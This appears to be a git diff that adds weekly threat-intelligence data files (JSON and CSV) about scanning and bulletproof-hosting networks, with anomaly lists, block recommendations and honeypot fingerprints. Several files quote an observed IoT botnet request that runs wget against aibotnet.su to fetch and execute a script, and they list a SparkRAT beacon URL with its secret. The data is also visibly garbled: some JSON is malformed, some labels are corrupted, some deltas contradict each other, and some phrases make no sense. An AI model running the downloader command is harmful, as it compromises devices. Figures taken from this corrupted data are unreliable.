Sponge)","per_ip_ssh_hassh_server":"41ff3ecd1458b0bf86e1b4891636213e (OpenSSH_8.9p1 Ubuntu-3) -- same HASSH as AS214940, AS209847/FORTIS","per_ip_greynoise":"unclassified"} +{"_type":"aggregation_summary","asn":"AS198953","org":"Proton66 OOO","labels":["BULLETPROOF","IPV6"],"top_ports":[{"port":22,"count":61341},{"port":443,"count":38051},{"port":80,"count":17479},{"port":2096,"count":12967},{"port":8443,"count":8702},{"port":8080,"count":6912},{"port":2053,"count":3586},{"port":2222,"count":1973},{"port":3389,"count":1969},{"port":51821,"count":1350},{"port":3000,"count":1240},{"port":8000,"count":1222},{"port":25,"count":1117},{"port":53,"count":1102},{"port":2083,"count":899},{"port":587,"count":880},{"port":993,"count":870},{"port":9443,"count":854},{"port":1080,"count":835}],"total_hosts_census":70945,"software_top":["openssh","nginx","google_web_services","ghost","app_and_api_protector","dovecot","waf","cloudflare_load_balancer","caddy","http_server","uvicorn","traefik_proxy","express","fastpanel","exim","python","next.js","portainer","openresty","proftpd"],"cert_issuers_top":[],"os_distribution":{"linux":70693,"windows":574,"routeros":283,"proxmox":179,"linux_kernel":148,"adaptive_security_appliance_software":104,"freebsd":54,"vmware_esxi_server":42,"ios":38,"enterprise_linux":23,"linux_ami":5,"windows_server_2008_r2":2,"windows_server_2012_r2":1,junos":1,"macos":1,"openmediavault":1,"ubuntu":1,"unifi":1},"per_ip_enrichment_ip_176_120_22_16":"Primary Bramfordsee Top-IP. Reverse dns blank. GreyNoise: suspicious -- tags MySQL Protocol, TLS/SSL Crawler, Python Requests Client, Web Crawler, Generic Suspicious Linux Command in Request","notes":"Volume shrank (census from 100106 prior to 70945 -- a -29% drop -- aggressive darkening / migration). RDP/SSH/MSSQL/Redis (6379) all in active brute. Notable: 176.120.22.16 first time in top IP slot -- rotated from 176.120.22.61 -> 16. Pattern: the most aggressive IP is not in Honeylabs usually (so brute) but maintained GreyNoise malicious flag."} +{"_type":"aggregation_summary","asn":"AS14956","org":"RouterHosting LLC","labels":["BULLETPROOF","IPV6"],"top_ports":[{"port":22,"count":2784},{"port":443,"count":2038},{"port":80,"count":1828},{"port":53,"count":354},{"port":25,"count":281},{"port":587,"count":239},{"port":111,"count":236},{"port":993,"count":225},{"port":143,"count":194},{"port":8080,"count":181},{"port":110,"count":173},{"port":2096,"count":157},{"port":8443,"count":138},{"port":465,"count":134},{"port":21,"count":132}],"total_hosts_census":3711,"software_top":["nginx","openssh","dovecot","http_server","cpanel","exim","openresty","webmail","authoritative_server","caddy","postfix","traefik_proxy","ghost","php","app_and_api_protector","express","next.js","google_web_services","litespeed_web_server","wordpress"],"cert_issuers_top":["YR2 928","YR1 854","YE2 422","YE1 399","Sectigo Public Server Authentication CA DV E36 285","GlobalSign RSA OV SSL CA 2018 220","E8 195","issssrt.ru 183","GlobalSign GCC R3 DV TLS CA 2020 181","WE1 157","E7 134","R13 121","TRAEFIK DEFAULT CERT 107","GlobalSign ECC OV SSL CA 2018 105","invalid2.invalid 98","etc 73","HARICA DV TLS RSA 72","WR1 61","GlobalSign GCC R6 AlphaSSL CA 2025 57"],"os_distribution":{"linux":2116,"windows":29,"proxmox":29,"routeros":24,"freebsd":11,"enterprise_linux":6,"idrac_linux":1,"sonicos":1,"windows_server_2008_r2":3,"openmediavault":1,"ilo_3":1},"per_ip_enrichment_ip":"216.126.239.17","per_ip_whois":"RouterHosting LLC (Cloudzy-branded Wyoming shell). 216.126.239.0/24 reg 2025-06-25 (recent)","per_ip_greynoise":"unclassified","per_ip_ssh_hassh_server":"e42184b06d45385a906f0803d04c83da (OpenSSH_9.6p1 Ubuntu-3ubuntu13.18 -- quite modern; not vulnerable to regreSSHion)","per_ip_service_5000_werkzeug":"Werkzeug 3.1.8 + Python 3.12.3 with HTTP 401 Basic realm=\"fofa_monitor\" -- a fofa-search-style monitoring panel exposed (rare; Censys flagged Unencrypted HTTP Weak Auth HIGH)","per_ip_known_cve_high":"CVE-2024-6387 (regreSSHion, KEV)","per_ip_known_cve_med_low":"CVE-2025-32728, CVE-2026-35385, CVE-2026-35414, CVE-2026-XXXX+","notes":"Substantial cPanel/Plesk/cPanel-ghost stack + multi-platform honeypot reconnaissance. cPanel/cPanel stack fully populated. Highly aggressive on multi-CVE exploit testing. Note the fofa_monitor panel -- new addition to scan infrastructure."} +{"_type":"aggregation_summary","asn":"AS210644","org":"Aeza Group LLC","labels":["BULLETPROOF"],"top_ports":[],"total_hosts_census":0,"notes":"Massive infrastructure drop from 6800 -> 0 census hosts -- AS has withdrawn from Internet-visible scanscape entirely. 11 Sponge sessions remaining from 5 IPs. Honeypot data: 0 events. Pattern: Aeza may have shifted IPs to a different AS (or simply turned off public-facing ports entirely). Status: full infra blackout / migration suspected."} +{"_type":"aggregation_summary","asn":"AS209847","org":"FORTIS-AS Baykov Ilya Sergeevich (real AS -- AS209847 in CSV has been a tagging-error)",labels":["BULLETPROOF","IPV6"],"top_ports":[{"port":22,"count":3395}],"total_hosts_census_in_as41745_only:0,"per_ip_enrichment_ip":"45.144.28.70","per_ip_whois":"Baykov Ilya Sergeevich (RU), BGP prefix 45.144.28.0/24 created 2026-06-06 (very recent network registration)","per_ip_greynoise":"malicious -- tags: Web Crawler, HTTP OPTIONS Crawler, Go HTTP Client, Generic Brute Force, Generic Login Attempt, TLS/SSL Crawler","per_ip_ssh_hassh_server":"41ff3ecd1458b0bf86e1b4891636213e","per_ip_known_cves":["CVE-2024-6387 (regreSSHion, KEV)","CVE-2025-26465","CVE-2025-32728","CVE-2026-35385","CVE-2023-28531","CVE-2023-38408","CVE-2023-48795","CVE-2023-51384","CVE-2023-51385"],"per_ip_reverse_dns":"none","per_ip_operating_system":"Linux (Ubuntu per ssh comment)","per_ip_location":"Paris, France","per_ip_hosted":"IPINFO hosting=true","per_ip_reputation":"benign (reputation.sdk only)","per_ip_neighbors_label":"BULLETPROOF only","per_ip_service_count":1,"notes":"Single service exposed (SSH on 22 only). Driven 998 Sponge sessions from this one host. Classic scanning appliance with one honeypot-trigger host. BGP network is 6 weeks old, marked BULLETPROOF via Censys IP labeling. Major new infra expansion of the FORTIS/Baykov actor -- was 0 last week."} +{"_type":"aggregation_summary","asn":"AS211720","org":"Datashield, Inc.","labels":["BULLETPROOF","IPV6"],"top_ports":[],"per_ip_enrichment_ip":"185.231.33.46","per_ip_whois":"Datashield Inc -- Mikail Gairbekov admin (SEYCHELLES); PO BOX 121 Victoria Mahe","per_ip_dns":"none public","per_ip_greynoise":"unclassified","per_ip_location":"Switzerland -- ZUG (Seychelles-owned, Sweden registered-loc","per_ip_service_count":1,"per_ip_service_443_cert":"SELF-SIGNED -- subject CN=prohaska.beatty.biz, O=Prohaska-Beatty, OU=compress, ST=HI, C=US, email compress@prohaska.beatty.biz -- a fake US business entity (no domain eponym)","per_ip_tls_versions":["TLSv1.0","TLSv1.1","TLSv1.2","TLSv1.3"],"per_ip_misconfigurations":["CENSYS-2026-1196 Self-Signed Certificate","CENSYS-2024-1026 No Trusted Path Certificate","CENSYS-2022-1013 Downgrade Attack Possible (TLS 1.0/1.1 still enabled)"],"per_ip_jarm":"07d19d12d21d21d07c42d43d000000f50d155305214cf247147c43c0f1a823","notes":"Previously conducting Exchange /ews/ recon (week 2026-07-13). This week shifted to MSSQL TDS port 1433 only -- a domain SQL database password bruteforce probe set. Source hostname 'short-tan-rat' hardcoded in packets. Self-signed prohaska.beatty.biz cert still active. Continuation of datashield as an MSSQL bruteforce platform -- via TLS 1.0/1.1 enabled Oracle-level downgrade flaws"} +{"_type":"aggregation_summary","asn":"AS216139","org":"Iron Hosting Centre LTD","labels":["BULLETPROOF","IPV6"],"top_ports":[{"port":22,"count":1407},{"port":443,"count":711},{"port":80,"count":546},{"port":"6001-6050 sequential","count":345-348 each}],"total_hosts_census":2358,"per_ip:"46.30.46.124 -- only Sponge IP observed; 1 session on port 19898 (random-listener probe)","notes":"NEW THIS WEEK -- sequential port 6001-6024 cluster showing in Censys aggregations (345-348 events each). This is anomalous -- backconnect-C2 listener pattern OR intrusive port-range scanning. Each port fires the same number of sessions (very tight +/-3 count drift) telling same client-set acts in concert. Cannot confirm without per-IP enumeration but suspicious. Censys data for this ASN shows no port-specific software fingerprint (no openssh in software list -- confirms these are not servers but listeners)."} +{"_type":"aggregation_summary","asn":"AS30823","org":"aurologic GmbH","labels":[],"top_ports":[{"port":22,"count":9704},{"port":443,"count":5083},{"port":80,"count":2998},{"port":51821,"count":1519},{"port":53,"count":1406},{"port":21,"count":991},{"port":2096,"count":987},{"port":25,"count":734},{"port":993,"count":692},{"port":143,"count":682},{"port":110,"count":674},{"port":2053,"count":635},{"port":587,"count":630},{"port":3306,"count":617},{"port":500,"count":553},{"port":8443,"count":545},{"port":123,"count":522},{"port":1500,"count":506},{"port":995,"count":388},{"port":161,"count":384}],"total_hosts_census":12058,"cert_issuers_top":["GlobalSign GCC R3 OV TLS CA 2024 5702","localhost 2620","prod-vpn.example.com 2507","GlobalSign RSA OV SSL CA 2018 2255","GlobalSign GCC R46 OV TLS CA 2025 1605","Sectigo Public Server Authentication CA DV R36 1228","WoTrus RSA DV SSL CA 2 540","WIN-9QFKHJ39QE9 463","NONE 432","QY 232","WIN-U1V7GLUG3JJ 238","WIN-QPBU6973Q4A 221","YR1 219","YE1 218","宝塔面板 207 (BT-Panel China)","YE2 198","YR2 192","R13 191","RapidSSL TLS RSA CA G1 160","tls.internal.ypc.org 160"],"os_distribution":{"linux":6791,"routeros":104,"windows 98,"enterprise_linux":72,"adaptive_security_appliance_software":17,"freebsd":13,"linux_ami":3,"windows":4},"notes":"New commercial hosting provider appearance -- hosts up 12058 -- SPONGE events markedly low (8) -- but Honeylabs events (1 single benign Android GET /) shows the ASN barely acts directly. Distinctive features: '宝塔面板' (BaoTa Panel / China-based web hosting panel) appearing in 207 cert CNs. WoTrus RSA DV (Chinese CA) issuing certs. tls.internal.ypc.org -- infrastructure-style China-origin hostname consistent with YPC. Activity level is INCIDENTALLY observed -- likely the full ASN is a commercial China-targeting hosting zone with inactive honey interaction."} +{"_type":"aggregation_summary","asn":"AS33993","org":"UFO-AS (Mir International LTD)","labels":["BULLETPROOF","IPV6"],"top_ports":[{"port":22,"count":1082},{"port":443,"count":821},{"port":80,"count":581},{"port":3389,"count":287},{"port":53,"count":277},{"port":27015,"count":148},{"port":8443,"count":112},{"port":25,"count":105},{"port":2096,"count":80},{"port":8080,"count":77},{"port":111,"count":63},{"port":135,"count":58},{"port":2222,"count":54},{"port":445,"count":50},{"port":3000,"count":50},{"port":3306,"count":45},{"port":21,"count":39},{"port":139,"count":38},{"port":5985,"count":38},{"port":3128","count":37}],"total_hosts_census":1806,"notes":"Slight decrease in census hosts and persistent Honeylabs inactivity. Minecraft (27015) persistent -- recreational/entertainment hosting alongside legitimate hosting footprint. AS covers 1806 hosts but only 2 sponge sessions / 0 honeypot events = dark infra"} +{"_type":"aggregation_summary","asn":"AS140666","org":"ANY DIGITAL PTE. LTD.","labels":[],"top_ports":[],"total_hosts_census":0,"notes":"2 sponge sessions from 2 IPs (154.94.68.6, 204.3.179.2) on port 0 -- trivial activity. Conservative observe: catalog-listed but no census coverage yet -- AS poised for infr ready in the future."} \ No newline at end of file diff --git a/kevlar/2026-07-20/censys/fleet-correlation.csv b/kevlar/2026-07-20/censys/fleet-correlation.csv new file mode 100644 index 0000000..f66f28e --- /dev/null +++ b/kevlar/2026-07-20/censys/fleet-correlation.csv @@ -0,0 +1,12 @@ +correlation_type,ip_a,asn_a,ip_b,asn_b,shared_attribute,confidence,notes +shared-hassh-apache-openssh-8.9p1,45.144.28.70,AS41745/FORTIS (mistagged AS209847),81.17.28.130,AS51852,"41ff3ecd1458b0bf86e1b4891636213e = OpenSSH_8.9p1 Ubuntu-3ubuntu0.16",high,"Standard Ubuntu 22 LTS OpenSSH baseline fingerprint shared across ALL bulletproof providers running Ubuntu 22 LTS (default install). Not unique but indicates uniform fleet provisioning." +shared-hassh-apache-openssh-8.9p1,45.144.28.70,AS41745/FORTIS (mistagged AS209847),77.83.39.119,AS214940,"41ff3ecd1458b0bf86e1b4891636213e = OpenSSH_8.9p1 Ubuntu-3ubuntu0.16",high,"Stable across KPREnet and FORTIS/AS209847 -- uniform provisioning." +shared-jarm,185.231.33.46,AS211720,none,n/a,07d19d12d21d21d07c42d43d000000f50d155305214cf247147c43c0f1a823,medium,"Solitary distinctive JARM TLS handshake -- does not collide with any of AS51852, AS200651, AS51396 baselines." +sequential-port-cluster,46.30.46.124,AS216139,none,n/a,"ports 6001-6050 each ~345 events uniformly",high,"HIGHLY anomalous: pristine uniform session counts across sequential port range 6001-6050 (within +/-3 events) -- consistent with backconnect-C2 listener infrastructure OR a single-client scanner IP potentially acting as a backconnect cluster harness." +tor-exit-c2-flare,185.100.87.136,AS200651,none,n/a,"SPARKRAT Client Update Scanner + 'PremiumTorExit' nickname + Tor 0.4.9.11",high,"Confirmed Tor exit running 0.4.9.11 with SPARKRAT beacon traffic pattern (POST /api/client/update) -- the exit is BOTH an exit AND a SPARKRAT C2 callback planner. Company abuse@flokinet.is has not throttled." +shared-jarm,185.100.87.136,AS200651,none,n/a,"jarm=2ad2ad16d2ad2ad00042d42d000000332dc9cd7d90589195193c8bb05d84fa",medium,"Tor-default 9001 listener jarm -- same across all Tor exit nodes." +shared-fofa-monitor,216.126.239.17,AS14956,none,n/a,"Werkzeug 3.1.8 + Basic realm=\"fofa_monitor\" panel on port 5000",high,"First-time obeservation: fofa-search-style monitoring panel exposed with weak Basic auth -- the honeypot scanners on the same IP have a fofa-search reconnaissance dashboard stored unlabeled on TCP 5000." +self-signed-cert,185.231.33.46,AS211720,none,n/a,"prohaska.beatty.biz (self-signed, fake Prohaska-Beatty US HI entity)",high,"Reused this week -- stable persistent cert on previously single-interaction MSSQL probe host. Indicates this host acts as both active scanner (port 1433) AND long-lived TLS host forwarding as a Stationary covert listener." +ipv6-forty-host-contraction,38.54.2.x,AS138915,none,n/a,"IPv6 support: 0 prior -> 37 current hosts (no IPv4 internet)",low,"Modest IPv6 leakage to census suggests dual-stack provisioning in some AS138915 hosts; not a security event per se." +scan-cluster-pfcloud-204-76-203-x,204.76.203.18,AS51396,none,n/a,"13K+ Sponge sessions from .209 alone, .232 with 13K, multiple .2.x peers",high,"Cluster persists across weeks but IPs rotated: 78/79/80 last week -> 18/.30/.49/.81 this week. NOT a one-shot event -- a long-term coordinated scan deployment platform." +mssql-tds-brute-pivot,176.120.22.192,AS198953,185.231.33.46,AS211720,"port 1433 MSSQL TDS probing",medium,"Both AS198953/AS211720 launched port 1433 binary probes this week -- indicates coordination or sell-through of bots within BP ecosystem." \ No newline at end of file diff --git a/kevlar/2026-07-20/changes/anomalies.csv b/kevlar/2026-07-20/changes/anomalies.csv new file mode 100644 index 0000000..ab23275 --- /dev/null +++ b/kevlar/2026-07-20/changes/anomalies.csv @@ -0,0 +1,12 @@ +anomaly_id,severity,asn,asn_org,description,indicator,evidence,action_recommended +ANOM-026,CRITICAL,AS200651,FlokiNET ehf,SPARKRAT retrofit on confirmed Tor exit node,"POST /api/client/update?arch=amd64&commit=08059e95dacafe0bf6e5782f8e2c8ec9cd8c5a17&os=windows UA SPARK COMMIT","Censys GreyNoise tags now include 'SparkRAT Client Update Scanner'; secret=3de172c65c5204dbce4c985d6616ca6fbbf337be4ddd40746307af802fa510a2 in headers","Block 185.100.87.136 + treat as dual-use Tor exit AND SPARKRAT-C2 communication. Block /api/client/update across the network edge." +ANOM-027,CRITICAL,AS216139,Iron Hosting Centre,Sequential port 6001-6050 uniform cluster in Censys aggregation,"Port 6001 to 6050 each showing ~345 events on AS216139 in Censys aggregation",Censys host.services.port aggregation reveals values 345-348 across sequential high ports 6001-50,"Investigate whether 46.30.46.124 is a backconnect-C2 listener farm or scanning appliance. Block high-port range 6000-6050 from AS216139 sources defensively." +ANOM-028,CRITICAL,AS57043,Hostkey B.v.,IoT botnet MIPS downloader from new Hostkey IP,"IP 132.243.194.215 (Frankfurt) GET /shell?cd+/tmp;rm+-rf+kla.sh;wget+http://aibotnet.su/bins/kla.sh on port 6001","3 separate events on 2026-07-16 from Frankfurt (Hostkey B.v. / DE); IP reverse DNS = odamanov600.ru; Netaxis Group registration 2026-03-06 (~4 months old IP)","Block 132.243.194.215, takedown request for aibotnet.su domain, monitor for repeat IP-block scans. Add Hostkey B.v. Frankfurt espionage observation." +ANOM-029,HIGH,AS209847/FORTIS,Baykov Ilya Sergeevich,Active HTTPS hallucination scanning from new FORTIS network with OpenSSH regreSSHion vuln,"IP 45.144.28.70 -- 998 Sponge sessions in 1 week, SSH banner OpenSSH_8.9p1 Ubuntu-3.16 with CVE-2024-6387 KEV + 22 other CVEs; BGP prefix 45.144.28.0/24 created 2026-06-06","Censys grey-noise malicious tagging; BULLETPROOF label present on host; network reg 2026-06-06 by Baykov Ilya Sergeevich (RU); single plausible SSH-only service 1 SSH port","Block 45.144.28.70 at the edge. Engage abuse@fortis.host for takedown references (expect no response)." +ANOM-030,HIGH,AS211720,Datashield Inc.,MSSQL TDS brute pivoting to Visual Production channels,"185.231.33.46 stuck on port 1433 MSSQL TDS probes; hostname short-tan-rat; self-signed cert prohaska.beatty.biz with TLS 1.0/1.1 still enabled","Censys enrichment confirms 1 service (HTTP/443 with Apache server) + JARM 07d19d...; previously scanned /ews/ (Exchange) now shifted to MSSQL probing -- likely SQL Server INTERNET leg of attack","Block 185.231.33.46 from any ports 1433/1434 communication outbound; review all MSSQL exposure to non-trusted networks." +ANOM-031,HIGH,AS51396,Pfcloud UG,New tooling 'odin-scanner/0.4' + 'Hello World' UAs deployed.clear,"Distinctive user-agent strings observed scanning SOCKS-style ports (11235, 20128)","Honeylabs fingerprinted UAs from 38 events + 12 events respectively on PFCLOUD IPs -- not seen in prior weeks","Mutate blocklists to include these UAs. Block outbound from PFCLOUD RO/NL networks (176.65.x.x, 204.76.203.0/24, 45.135.193.0/24)." +ANOM-032,HIGH,AS14956,RouterHosting LLC,Exposed Werkzeug fofa_monitor panel on port 5000 (Weak Basic Auth + HTTP -- not HTTPS),"Werkzeug/3.1.8 Python/3.12.3 server with HTTP/1.1 401 + WWW-Authenticate: Basic realm=\"fofa_monitor\" on port 5000 of 216.126.239.17","Censys flagged CENSYS-2022-1002 Unencrypted HTTP Weak Auth (HIGH). Likely a fofa-monitor panel to track attack campaigns.","Block port 5000 from 216.126.239.17 outbound AND inbound (block all incoming probe traffic). Take the panel off the internet -- it is MCAF exposed." +ANOM-033,MEDIUM,AS51852,Private Layer INC,IP rotation to 81.17.28.130 (new segment) with same OpenSSH HASSH flood profile,"Top IP rotated from 179.43.134.114 (prior) to 81.17.28.130 (current). Same OpenSSH 8.9p1 HASSH server.","Censys enrichment shows 81.17.28.128/27 RIPE CIDR owned by Private Layer INC; previously unseen host","Block 81.17.28.0/24 socks and watch for further 81.17.x.x range activity expansion." +ANOM-034,MEDIUM,AS198953,Proton66 OOO,New Redis reconnaissance + RDP-variant ports (3395/3396/3399) targeted,"37.77.150.83 hit port 6379 3x (Redis). 193.143.1.66 hit ports 3395/3396/3399 -- non-standard RDP-variant ports.","18+3 events across 2 new IPs","Block 176.120.22.0/24 and 37.77.150.x.x for RDP/Redis brute reconnaissance." +ANOM-035,MEDIUM,AS214940,Kprohost LLC,Massive UA rotation expanded to 20+ browser UAs including Konqueror 3.0-rc4, Android HTC Tattoo 1.6, IE 10, IE 6, YaBrowser","20+ distinct UAs from 3 KPRONET IPs (77.83.39.119, .42, .94) over port 443","Censys GreyNoise malicious classification with ENV Crawler tag -- new .env scanning related evidence","Block 77.83.39.0/24 fully -- previous WAH aggressive evasion has escalated to user-agent laundering." +ANOM-036,MEDIUM,AS400992,ZhouyiSat Comm,Census return pure WINDOWS admin port profile indicates shift to WMI/RPC/SMB brute,"Censys port aggregation shows 95 RDP/5985 WinRM/135 RPC/139 NetBIOS/445 SMB/47001 -- only small portion on Linux (44/80, ssh 22:44)","Prior week observed /.env scanning which has stopped; current week shows no honeypot hits but census footprint unchanged essentially -- suggests IP rotation away from sensors","Block 23.172.217.0/24 + 185.121.15.0/24 + 193.46.218.0/24 at internet-edge." \ No newline at end of file diff --git a/kevlar/2026-07-20/changes/diff-vs-prior-week.csv b/kevlar/2026-07-20/changes/diff-vs-prior-week.csv new file mode 100644 index 0000000..b63947c --- /dev/null +++ b/kevlar/2026-07-20/changes/diff-vs-prior-week.csv @@ -0,0 +1,28 @@ +metric,asn,asn_org,prior_value,current_value,delta,delta_pct,category,notes +active_asns,total,,15,17,+2,+13%,expansion,"2 new ASNs active: AS209847 (sponge 998 sessions via m/cross-AS FORTIS path), AS30823 (single benign-looking Android HTTPS connection). 2 ASNs dropped to 0: AS140666 lost census coverage (was 588 prior week); AS206728/AS216309/AS58854/AS202685/AS394711 continue dormant." +event_volume_AS51396,AS51396,Pfcloud UG,10000+,2500+ (sponge 10K hyperactive 22/80/8080/27017/5678),-7500,-75%,decrease,"Honeylabs event count notably down (~2500 summed) -- likely fewer honeypot target hits this week. Sponge volume still 10K+ (capped); top IP 204.76.203.18 hits 13766 sponge sessions -- NEW top IP, last top IP was 176.65.148.25 (473 events Honeylabs)." +ip_rotation_AS51396,AS51396,Pfcloud UG,204.76.203.78/79/80,204.76.203.18/.30/.49/.81,+4,new,-,new,"Coordinated 204.76.203.x scan-cluster persists in cluster identity but rotates specific IPs week-to-week -- botnet operator using lower-numbered IPs this week." +event_volume_AS200593,AS200593,Prospero Ooo,3890,968,-2922,-75%,decrease,"Volume sharp decrease. Still the same TM-based IP 91.202.233.79 doing scanning hit-and-run. Censys showed 0 census hosts this week -- infra fully withdrawn from public scanscape." +event_volume_AS198953,AS198953,Proton66 OOO,539,810,+271,+50%,increase,"Top IP rotated: 176.120.22.240 -> 176.120.22.16 (759 sponge events, GreyNoise suspicious). Multi-protocol brute sustained." +event_volume_AS51852,AS51852,Private Layer INC,1802,264,+1538,-85%,decrease,"Top IP rotated: 179.43.134.114 -> 81.17.28.130 (CH Bellinzona). Event volume dropped bit still active. Lower-IPv4 noise suggests IP rotation." +event_volume_AS14956,AS14956,RouterHosting LLC,206,128,-78,-38%,decrease,"Persistent multi CVE scanning. PMTA-Auto UA now active + persistent Minecraft server port 25565 reconnaissance + anydesk RDP scanning. Censys shows new fofa_monitor panel." +event_volume_AS214940,AS214940,Kprohost LLC,46,42,-4,-9%,stable,"Stable - low volume HTTPS scanning with rotating browser UAs (20+ UAs this week). RP. Censys shows BULLETPROOF, port 443 dominant." +event_volume_AS200651,AS200651,FlokiNET ehf,20,18,-2,-10%,stable,"Tor exit stable. OpenSSH upgraded from 10.1 -> 10.2p1. NEW: SPARKRAT-related POST /api/client/update?arch=amd64&commit=08059e95...&os=windows pattern detected; GreyNoise observed SPARKRAT tag." +event_volume_AS57043,AS57043,Hostkey B.v.,1,3,+2,+200%,increase,"Single IP 132.243.194.215 from Frankfurt (DE) dropped IoT MIPS downloader /shell?cd+/tmp;rm+-rf+kla.sh;wget+http://aibotnet.su PORT 6001. Censys forward DNS odamanov600.ru. Netaxis Group Ltd (CY) registered March 2026 (~4 months ago). HASSH fingerprint meaningless (HTTP-only port 6001 probe, no SSH)." +event_volume_AS400992,AS400992,ZhouyiSat Comm,2,0,-2,-100%,drop-off,"No honeylabs events this week. Sponge activity 256 sessions. Censys shows pure WINDOWS admin port profile (3389/5985/135/139/445/47001/5357). New attack orientation: shifted to WMI/RPC brute from prior-week .env URL scanning." +ip_rotation_AS400992,AS400992,ZhouyiSat,185.228.72.109 (prior),23.172.217.77/185.121.15.184/193.46.218.82,+3,new,-,new,"Full host IP rotatation. Censys shows the 23.172.217.x cluster is a Russian-hosted (DE / IPv6)." +new_asns,AS209847,(spurious sponge tag; actually AS41745 FORTIS),--activation,998 sessions,+998,new,new,"First time observed via Sponge 998 sessions from single IP 45.144.28.70 (HTTPS port cluster scanning). Censys shows actual AS = FORTIS-AS Baykov Ilya Sergeevich (RU), BGP prefix created 2026-06-06 -- 6 weeks old network. BULLETPROOF label." +new_asns,AS30823,aurologic GmbH,--no activity,8 sessions + 1 HL,+9,new,new,"9704-host census providers in Censys with robust dual-VIP stack. 0 honeylabs events except single benign HTTPS GET from 41.216.188.21 (DE). Likely commercial small-activity ISP -- may not actually be bulletproof but listed by Censys as BULLETPROOF based on aggregated factors. Treat with caution." +att这儿enant_drop,AS210644,Aeza Group LLC,1858 hosts census,0 hosts census,-1858,-100%,contraction,"COMPLETE Censys census wipe -- Aeza has withdrawn from public scanscape. May have migrated IPs to alternative AS. Sponge shows 11 sliding sessions." +att Droplmetric_AS200593,AS200593,Prospero Ooo,1800 hosts census,0 hosts census,-1800,-100%,contraction,"Prospero census vanished while still active honey scanning - they darkened their attack infra (or migrated to alternate BGP like Prospero may have moved to a different hosted sub)." +new_attack_pattern,AS51396,Pfcloud UG,none,new-UA:odin-scanner/0.4,new,new,new,"New tool signature 'odin-scanner/0.4' observed scanning ports 11235/20128 -- added to make money on the pfcloud scan farm tooling alongside zgrab/Hello World." +new_attack_pattern,AS200651,FlokiNET/AS,none,sparkrat-update-callback,new,new,new,"New SPARKRAT beaconing pattern POST /api/client/update?arch=amd64&commit=08059e95dacafe0bf6e5782f8e2c8ec9cd8c5a17&os=windows -- content-type: application/octet-stream -- secret: 3de172c65c5204dbce4c985d6616ca6fbbf337be4ddd40746307af802fa510a2" +new_attack_pattern,AS198953,Proton66 OOO,none,redis-port-6379,new,new,new,"New Redis probe from 37.77.150.83 -- cache-based reconnaissance (new for Proton66)" +new_attack_pattern,AS211720,Datashield,none,mssql-tds-brute,new,new,new,"MSSQL TDS probing port 1433 from hostname 'short-tan-rat' (reverse rDNS poisoned)" +new_attack_pattern,AS57043,HOSTKEY,none,iot-botnet-downloader,new,new,new,"IoT MIPS downloader targeting port 6001 /shell?cd+/tmp;rm+-rf+kla.sh;wget+http://aibotnet.su/bins/kla.sh -- new for Hostkey." +new_attack_pattern,AS14956,ROUTERHOSTING,none,fofa-monitor-panel,new,new,new,"Exposed Werkzeug/Python fofa_monitor Basic realm panel on port 5000 (HIGH misconfig)." +new_fingerprint,AS51396,Pfcloud,none,odin-scanner-0.4-UA,new,new,new,"Brand-new tooling signature." +new_fingerprint,AS200651,FlokiNET,none,sparkrat-hassh-upgrade-10.2p1,new,new,new,"HASSH client updated OpenSSH 10.1 -> 10.2p1 (subtle: same HASSH but new banner string). Implies ongoing active maintenance." +new_fingerprint,AS57043,Hostkey,none,ja4h-777e992b8532-botnet,new,new,new,"Distinctive JA4H for IoT MIPS downloader hardcoded bot calls (/shell?cd+/tmp;rm+-rf+kla.sh;wget+http://aibotnet.su/bins/kla.sh)." +volume_explosion_AS216139,AS216139,Iron Hosting,2100 hosts,2358 hosts,+258,+12%,slight_increase,"Censys growth modest. MAJOR anomaly: NEW sequential port 6001-6050 cluster ~345 sessions each in Censys aggregation -- highly anomalous backconnect-C2 listener pattern detected." +volume_drop_AS140666,AS140666,ADP / ANY DIGITAL,588 hosts,0 hosts,-588,-100%,contraction,"Disappeared from Censys. Sponge activity almost nil (2 sessions). Likely transited to a different BGP AS or pulled back services." \ No newline at end of file diff --git a/kevlar/2026-07-20/honeylabs/fingerprints.csv b/kevlar/2026-07-20/honeylabs/fingerprints.csv new file mode 100644 index 0000000..cb63736 --- /dev/null +++ b/kevlar/2026-07-20/honeylabs/fingerprints.csv @@ -0,0 +1,33 @@ +asn,asn_org,source_ip,fingerprint_type,fingerprint,ssh_banner_ua,tls_version,notes +AS57043,Hostkey B.v.,132.243.194.215,ja4h,ge11nn0400_777e992b8532,,,"IoT MIPS downloader GET /shell?cd+/tmp;rm+-rf+kla.sh;wget+http://aibotnet.su/bins/kla.sh;chmod+777+./kla.sh -- NEW this week vs HASSH libssh_0.9.6 last week (different IP)" +AS57043,Hostkey B.v.,132.243.194.215,ua,Mozilla/5.0,,,"Generic Mozilla UA on botnet callback port 6001" +AS51396,Pfcloud UG,various,ua,Go-http-client/1.1,,,"3 IPs - dominant in 8080/3128/3000/9090/8443 scanning" +AS51396,Pfcloud UG,various,ua,Mozilla/5.0 zgrab/0.x,,,"3 IPs - 8081/3001/3000 scanning" +AS51396,Pfcloud UG,various,ua,odin-scanner/0.4,,,"NEW THIS WEEK -- 38 events, scans 20128/11235 'Hello World' on port 80" +AS51396,Pfcloud UG,various,ua,Hello World,,,"12 events, port 80 <-- distinctive minimalistic UA suggesting custom tooling" +AS51396,Pfcloud UG,204.76.203.18,hassh-server,425d29fe50d8e4f5e37efb6e24bcf660,SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u7,,Censys-enriched server-side HASSH; this is the lead of the 204.76.203.x cluster (13K+ sponge sessions) +AS51396,Pfcloud UG,204.76.203.18,ja4tscan,65160_2-1-1-4-1-3_1460_10_1-2,,,"Distinctive TCP fingerprint MTU 42340 -- not the default Ubuntu 65160 -- appears custom-tuned (smaller MSS)" +AS51852,Private Layer INC,81.17.28.130,hassh-server,41ff3ecd1458b0bf86e1b4891636213e,SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.15,,NEW primary Honeylabs IP this week (vs 179.43.134.114 prior; prior week same OpenSSL but 0.10 suffix - upgrade) +AS51852,Private Layer INC,81.17.28.130,ua,Chrome/144.0.0.0 Safari/537.36,,,"HTTP HEAD / scanning via Windows Chrome 144 -- 252 events over 5 days" +AS51852,Private Layer INC,179.43.186.240,ua,Go-http-client/1.1,,,"6 events HTTP scanning port 443" +AS30823,aurologic GmbH,41.216.188.21,ja4,t13i190800_9dc949149365_97f8aa674fd9,,TLSv1.3,JA4 base 9dc949149365 -- SAME JA4 as FLOKINET Tor exit (AS200651); the 190800 i-form means TLS 1.3 + i08 (single cipher only) 